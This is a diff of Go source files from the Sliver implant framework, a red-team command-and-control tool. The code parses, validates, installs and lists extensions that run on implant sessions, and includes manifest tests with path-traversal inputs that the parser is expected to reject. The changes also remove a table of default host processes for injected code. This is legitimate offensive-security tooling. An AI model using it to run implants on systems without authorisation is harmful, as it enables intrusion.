This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
const (
|
||||
sample1 = `{
|
||||
"name": "test1",
|
||||
"command_name": "test1",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
|
||||
sample2 = `{
|
||||
"name": "test2",
|
||||
"command_name": "test2",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "../../../../foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseExtensionManifest(t *testing.T) {
|
||||
extManifest, err := ParseExtensionManifest([]byte(sample1))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing extension manifest: %s", err)
|
||||
}
|
||||
if extManifest.Name != "test1" {
|
||||
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
|
||||
}
|
||||
if extManifest.CommandName != "test1" {
|
||||
t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
|
||||
}
|
||||
if extManifest.Version != "1.0.0" {
|
||||
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
|
||||
}
|
||||
if extManifest.ExtensionAuthor != "test" {
|
||||
t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
|
||||
}
|
||||
if extManifest.OriginalAuthor != "test" {
|
||||
t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
|
||||
}
|
||||
if extManifest.RepoURL != "https://example.com/" {
|
||||
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
|
||||
}
|
||||
if extManifest.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
|
||||
}
|
||||
if len(extManifest.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
|
||||
}
|
||||
if extManifest.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
|
||||
}
|
||||
if extManifest.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
|
||||
}
|
||||
if extManifest.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
|
||||
}
|
||||
|
||||
extManifest2, err := ParseExtensionManifest([]byte(sample2))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing extension manifest (2): %s", err)
|
||||
}
|
||||
if extManifest2.Name != "test2" {
|
||||
t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
|
||||
}
|
||||
if extManifest2.CommandName != "test2" {
|
||||
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
|
||||
}
|
||||
if extManifest2.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
|
||||
}
|
||||
if len(extManifest2.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
|
||||
}
|
||||
if extManifest2.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
|
||||
}
|
||||
if extManifest2.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
|
||||
}
|
||||
if extManifest2.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
|
||||
}
|
||||
}
|
||||
|
||||
const (
|
||||
sample3 = `{
|
||||
"name": "test3",
|
||||
"command_name": "test3",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
sample3, err := ParseExtensionManifest([]byte(sample3))
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to parse initial sample3: %s", err)
|
||||
}
|
||||
|
||||
missingName := (*sample3)
|
||||
missingName.Name = ""
|
||||
data, _ := json.Marshal(missingName)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing name error, got none")
|
||||
}
|
||||
|
||||
missingCmdName := (*sample3)
|
||||
missingCmdName.CommandName = ""
|
||||
data, _ = json.Marshal(missingCmdName)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing command name error, got none")
|
||||
}
|
||||
|
||||
missingHelp := (*sample3)
|
||||
missingHelp.Help = ""
|
||||
data, _ = json.Marshal(missingHelp)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing help error, got none")
|
||||
}
|
||||
|
||||
missingFiles := (*sample3)
|
||||
missingFiles.Files = []*extensionFile{}
|
||||
data, _ = json.Marshal(missingFiles)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files error, got none")
|
||||
}
|
||||
|
||||
missingFileOS := (*sample3)
|
||||
missingFileOS.Files = []*extensionFile{
|
||||
{
|
||||
OS: "",
|
||||
Arch: "amd64",
|
||||
Path: "foo/test1.dll",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFileOS)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.os error, got none")
|
||||
}
|
||||
|
||||
missingFileArch := (*sample3)
|
||||
missingFileArch.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "",
|
||||
Path: "foo/test1.dll",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFileArch)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.arch error, got none")
|
||||
}
|
||||
|
||||
missingFilePath := (*sample3)
|
||||
missingFilePath.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Path: "",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFilePath)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.path error, got none")
|
||||
}
|
||||
|
||||
invalidPaths := []string{
|
||||
"../../../../../",
|
||||
"/../../../../..",
|
||||
".",
|
||||
"/",
|
||||
}
|
||||
for _, invalidPath := range invalidPaths {
|
||||
missingFilePath2 := (*sample3)
|
||||
missingFilePath2.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Path: invalidPath,
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFilePath2)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.path error, got none")
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsInstallCmd - Install an extension
|
||||
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
extLocalPath := ctx.Args.String("path")
|
||||
fi, err := os.Stat(extLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFilePath(extLocalPath, false, con)
|
||||
} else {
|
||||
installFromDir(extLocalPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating extension directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// InstallFromFilePath - Install an extension from a .tar.gz file
|
||||
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
|
||||
return nil
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
con.Printf("done!\n")
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
err := os.MkdirAll(artifactDir, 0o700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsListCmd - List all extension loaded on the active session/beacon
|
||||
func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
+388
-238
@@ -2,7 +2,7 @@ package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -19,8 +19,10 @@ package extensions
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
@@ -28,218 +30,311 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
ManifestFileName = "extension.json"
|
||||
)
|
||||
|
||||
var commandMap map[string]extension
|
||||
var defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
var loadedExtensions = map[string]*ExtensionManifest{}
|
||||
|
||||
type ExtensionManifest struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
Version string `json:"version"`
|
||||
ExtensionAuthor string `json:"extension_author"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
Init string `json:"init"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
}
|
||||
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
type extensionFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
type extFile struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
type extensionArgument struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
}
|
||||
|
||||
type extensionCommand struct {
|
||||
Name string `json:"name"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"longHelp"`
|
||||
AllowArgs bool `json:"allowArgs"`
|
||||
DefaultArgs string `json:"defaultArgs"`
|
||||
ExtensionFiles []extFile `json:"extFiles"`
|
||||
IsReflective bool `json:"isReflective"`
|
||||
IsAssembly bool `json:"IsAssembly"`
|
||||
}
|
||||
|
||||
func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
type extension struct {
|
||||
Name string `json:"extensionName"`
|
||||
Commands []extensionCommand `json:"extensionCommands"`
|
||||
Path string
|
||||
}
|
||||
|
||||
func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, c := range e.Commands {
|
||||
if cmdName == c.Name {
|
||||
for _, ef := range c.ExtensionFiles {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "x86":
|
||||
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
|
||||
case "x64":
|
||||
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range e.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
|
||||
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
|
||||
return "", err
|
||||
}
|
||||
return
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
err = fmt.Errorf("extension file not found: %s", filePath)
|
||||
return "", err
|
||||
}
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
|
||||
for _, x := range e.Commands {
|
||||
if x.Name == name {
|
||||
extCmd = &x
|
||||
return
|
||||
}
|
||||
}
|
||||
err = fmt.Errorf("no extension command found for name %s", name)
|
||||
return
|
||||
}
|
||||
|
||||
// LoadExtensionCmd - Locally load an extension into the Sliver shell.
|
||||
func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// ExtensionLoadCmd - Load extension command
|
||||
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
if dirPath == "" {
|
||||
con.PrintErrorf("Please provide an extension path\n")
|
||||
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
if CmdExists(extCmd.CommandName, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
return
|
||||
}
|
||||
ExtensionRegisterCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
}
|
||||
|
||||
// retrieve extension manifest
|
||||
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
// ParseExtensions - Parse extension files
|
||||
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil, err
|
||||
}
|
||||
// parse it
|
||||
ext := &extension{}
|
||||
err = json.Unmarshal(jsonBytes, ext)
|
||||
extManifest, err := ParseExtensionManifest(data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error loading extension: %v", err)
|
||||
return
|
||||
return nil, err
|
||||
}
|
||||
ext.Path = dirPath
|
||||
// for each extension command, add a new app command
|
||||
for _, extCmd := range ext.Commands {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, ctx.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
return
|
||||
extManifest.RootPath = filepath.Dir(manifestPath)
|
||||
loadedExtensions[extManifest.CommandName] = extManifest
|
||||
return extManifest, nil
|
||||
}
|
||||
|
||||
// ParseExtensionManifest - Parse extension manifest from buffer
|
||||
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
extManifest := &ExtensionManifest{}
|
||||
err := json.Unmarshal(data, &extManifest)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if extManifest.Name == "" {
|
||||
return nil, errors.New("missing `name` field in extension manifest")
|
||||
}
|
||||
if extManifest.CommandName == "" {
|
||||
return nil, errors.New("missing `command_name` field in extension manifest")
|
||||
}
|
||||
if len(extManifest.Files) == 0 {
|
||||
return nil, errors.New("missing `files` field in extension manifest")
|
||||
}
|
||||
for _, extFiles := range extManifest.Files {
|
||||
if extFiles.OS == "" {
|
||||
return nil, errors.New("missing `files.os` field in extension manifest")
|
||||
}
|
||||
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
if extFiles.Arch == "" {
|
||||
return nil, errors.New("missing `files.arch` field in extension manifest")
|
||||
}
|
||||
extFiles.Path = util.ResolvePath(extFiles.Path)
|
||||
if extFiles.Path == "" || extFiles.Path == "/" {
|
||||
return nil, errors.New("missing `files.path` field in extension manifest")
|
||||
}
|
||||
extFiles.OS = strings.ToLower(extFiles.OS)
|
||||
extFiles.Arch = strings.ToLower(extFiles.Arch)
|
||||
}
|
||||
if extManifest.Help == "" {
|
||||
return nil, errors.New("missing `help` field in extension manifest")
|
||||
}
|
||||
return extManifest, nil
|
||||
}
|
||||
|
||||
// Have to use a global map here, as passing the extCmd
|
||||
// either by value or by ref fucks things up
|
||||
commandMap[extCmd.Name] = *ext
|
||||
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
|
||||
extArgs := func(a *grumble.Args) {}
|
||||
if extCmd.AllowArgs {
|
||||
extArgs = func(a *grumble.Args) {
|
||||
// ExtensionRegisterCommand - Register a new extension command
|
||||
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
helpMsg := extCmd.Help
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.CommandName,
|
||||
Help: helpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCmd(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
if len(extCmd.Arguments) > 0 {
|
||||
// BOF specific
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var (
|
||||
argFunc func(string, string, ...grumble.ArgOption)
|
||||
defaultValue grumble.ArgOption
|
||||
)
|
||||
switch arg.Type {
|
||||
case "int", "short":
|
||||
argFunc = a.Int
|
||||
defaultValue = grumble.Default(0)
|
||||
case "string", "wstring", "file":
|
||||
argFunc = a.String
|
||||
defaultValue = grumble.Default("")
|
||||
}
|
||||
if arg.Optional {
|
||||
argFunc(arg.Name, arg.Desc, defaultValue)
|
||||
} else {
|
||||
argFunc(arg.Name, arg.Desc)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
}
|
||||
}
|
||||
ctx.App.AddCommand(&grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Args: extArgs,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if extCmd.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.ExtensionHelpGroup,
|
||||
})
|
||||
},
|
||||
HelpGroup: consts.ExtensionHelpGroup,
|
||||
}
|
||||
con.PrintInfof("%s extension has been loaded\n", ext.Name)
|
||||
con.App.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Try to find the extension in the loaded extensions
|
||||
if len(session.Extensions) == 0 {
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
return errors.New(extList.Response.Err)
|
||||
}
|
||||
extensionList = extList.Names
|
||||
} else {
|
||||
extensionList = session.Extensions
|
||||
}
|
